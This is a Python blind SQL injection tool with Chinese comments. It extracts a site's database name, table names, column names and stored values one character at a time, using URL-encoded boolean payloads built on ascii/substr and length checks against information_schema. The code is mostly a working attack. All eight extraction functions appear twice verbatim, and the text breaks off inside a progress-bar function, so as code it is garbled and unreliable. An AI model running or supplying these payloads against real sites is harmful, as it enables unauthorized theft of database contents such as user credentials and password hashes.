### 查询数据库表字段的数值 def column_data_name(column_data_len,User_table_name,User_column_name): column_data_names = {} column_one_name = '' for i in range(0,len(column_data_len)): #i是第几个字段的值 for j in range(1,column_data_len[i]+1): #j是要爆破字段值的第几个字符 for n in asciis: #asciis是要爆破字段值的ascii码值 payload = "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(ord(n)) if Response_judgment(payload): column_one_name += n break print(f"\n{User_column_name}字段的第{i}个值为:{column_one_name}") column_data_names[i] = column_one_name column_one_name = '' return column_data_names
### 查询数据库表字段数值的长度 def column_data_length(User_table_name,User_column_name): column_data_len = {} for i in range(0,data_num_max): #只查询10个数值 flag = False for j in range(1,data_len_max): #j是要爆破字段数值的长度,猜测该字段数值最大为32(即md5值,可能需要修改) payload = "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j) if Response_judgment(payload): column_data_len[i] = j if i == data_num_max: print('已超过测试数值的最大值,请调整!!!') flag = True break if flag == False: break return column_data_len
### 查询数据库表字段的名称 def column_name(column_len,User_table_name): column_names = {} column_one_name = '' for i in range(0,len(column_len)): #i是第几个字段,len(column_len) 是字段的数量 for j in range(1,column_len[i]+1): #j是要爆破字段的第几个字符 for n in asciis: #n是要爆破字段名的ascii码值 payload = "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(ord(n)) if Response_judgment(payload): column_one_name += n break print(f"\n{User_table_name}表的第{i}个字段的名称为:{column_one_name}") column_names[i] = column_one_name column_one_name = '' return column_names
### 查询数据库表字段的长度 def column_length(User_table_name): #要查看的表名 column_len = {} for i in range(0,column_num_max): #i是第几个字段,这里假设有10个字段 flag = False for j in range(1,column_len_max): #j是要爆破字段的长度,假设字段长度最长为20 payload = "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j) if Response_judgment(payload): column_len[i] = j if i == column_num_max: print("\033[91m[-]\033[0m 已超过测试字段数的最大值,请调整!!!") flag = True break if flag == False: break return column_len
### 查询数据库表的名称 def table_name(table_len): table_names = {} table_one_name = '' for i in range(0,len(table_len)): #i是第几张表,len(table_len)表示共有几张表 for j in range(1,table_len[i]+1): #j是要爆破表名第几个字符,到表的长度 for n in asciis: #n是要爆破表名的ascii码值 payload = "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(ord(n)) if Response_judgment(payload): table_one_name += n break print(f"\n第{i}张表的名称为:{table_one_name}") table_names[i] = table_one_name table_one_name = '' return table_names
### 查询数据库表的长度 def table_length(): table_len = {} for i in range(0,table_num_max): flag = False for j in range(1,table_len_max): payload = "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j) if Response_judgment(payload): table_len[i] = j flag = True break if flag == False: break return table_len
### 查询数据库的名称 def database_name(database_len): database_names = '' try: for i in range(1,database_len + 1): #i是数据库的第几个字符 for j in asciis: #j是要爆破数据库名的ascii码值 payload = "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(ord(j)) if Response_judgment(payload): database_names += j break except Exception as e: print("\n\033[91m[-]\033[0m 查询失败,请检查\033[91mResponse_judgment函数、URL、payload、增加爆破的数据库名长度!!!\033[0m") return database_names
### 查询数据库的长度 def database_length(): try: for i in range(1,database_len_max): payload = "%20and%20length(database())=" + str(i) if Response_judgment(payload): return i except Exception as e: print("\033[91m[-]\033[0m 查询失败,请检查\033[91mResponse_judgment函数、URL、payload、增加爆破的数据库名长度!!!\033[0m") kill()
### 查询数据库表字段的数值 def column_data_name(column_data_len,User_table_name,User_column_name): column_data_names = {} column_one_name = '' for i in range(0,len(column_data_len)): #i是第几个字段的值 for j in range(1,column_data_len[i]+1): #j是要爆破字段值的第几个字符 for n in asciis: #asciis是要爆破字段值的ascii码值 payload = "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(ord(n)) if Response_judgment(payload): column_one_name += n break print(f"\n{User_column_name}字段的第{i}个值为:{column_one_name}") column_data_names[i] = column_one_name column_one_name = '' return column_data_names
### 查询数据库表字段数值的长度 def column_data_length(User_table_name,User_column_name): column_data_len = {} for i in range(0,data_num_max): #只查询10个数值 flag = False for j in range(1,data_len_max): #j是要爆破字段数值的长度,猜测该字段数值最大为32(即md5值,可能需要修改) payload = "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j) if Response_judgment(payload): column_data_len[i] = j if i == data_num_max: print('已超过测试数值的最大值,请调整!!!') flag = True break if flag == False: break return column_data_len
### 查询数据库表字段的名称 def column_name(column_len,User_table_name): column_names = {} column_one_name = '' for i in range(0,len(column_len)): #i是第几个字段,len(column_len) 是字段的数量 for j in range(1,column_len[i]+1): #j是要爆破字段的第几个字符 for n in asciis: #n是要爆破字段名的ascii码值 payload = "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(ord(n)) if Response_judgment(payload): column_one_name += n break print(f"\n{User_table_name}表的第{i}个字段的名称为:{column_one_name}") column_names[i] = column_one_name column_one_name = '' return column_names
### 查询数据库表字段的长度 def column_length(User_table_name): #要查看的表名 column_len = {} for i in range(0,column_num_max): #i是第几个字段,这里假设有10个字段 flag = False for j in range(1,column_len_max): #j是要爆破字段的长度,假设字段长度最长为20 payload = "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j) if Response_judgment(payload): column_len[i] = j if i == column_num_max: print("\033[91m[-]\033[0m 已超过测试字段数的最大值,请调整!!!") flag = True break if flag == False: break return column_len
### 查询数据库表的名称 def table_name(table_len): table_names = {} table_one_name = '' for i in range(0,len(table_len)): #i是第几张表,len(table_len)表示共有几张表 for j in range(1,table_len[i]+1): #j是要爆破表名第几个字符,到表的长度 for n in asciis: #n是要爆破表名的ascii码值 payload = "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(ord(n)) if Response_judgment(payload): table_one_name += n break print(f"\n第{i}张表的名称为:{table_one_name}") table_names[i] = table_one_name table_one_name = '' return table_names
### 查询数据库表的长度 def table_length(): table_len = {} for i in range(0,table_num_max): flag = False for j in range(1,table_len_max): payload = "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j) if Response_judgment(payload): table_len[i] = j flag = True break if flag == False: break return table_len
### 查询数据库的名称 def database_name(database_len): database_names = '' try: for i in range(1,database_len + 1): #i是数据库的第几个字符 for j in asciis: #j是要爆破数据库名的ascii码值 payload = "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(ord(j)) if Response_judgment(payload): database_names += j break except Exception as e: print("\n\033[91m[-]\033[0m 查询失败,请检查\033[91mResponse_judgment函数、URL、payload、增加爆破的数据库名长度!!!\033[0m") return database_names
### 查询数据库的长度 def database_length(): try: for i in range(1,database_len_max): payload = "%20and%20length(database())=" + str(i) if Response_judgment(payload): return i except Exception as e: print("\033[91m[-]\033[0m 查询失败,请检查\033[91mResponse_judgment函数、URL、payload、增加爆破的数据库名长度!!!\033[0m") kill()
def Progress_bar(): # 初始化参数 global threading_status global jindu_left
while not threading_stop: while threading_status: progress_bar = "\033[94m[*]\033[0m 查询中:\033[92m[\033[0m{0}\033[92m]\033[0m".format(" " * jindu_left + "\033[92m*\033[0m" + " " * (50 - jindu_left))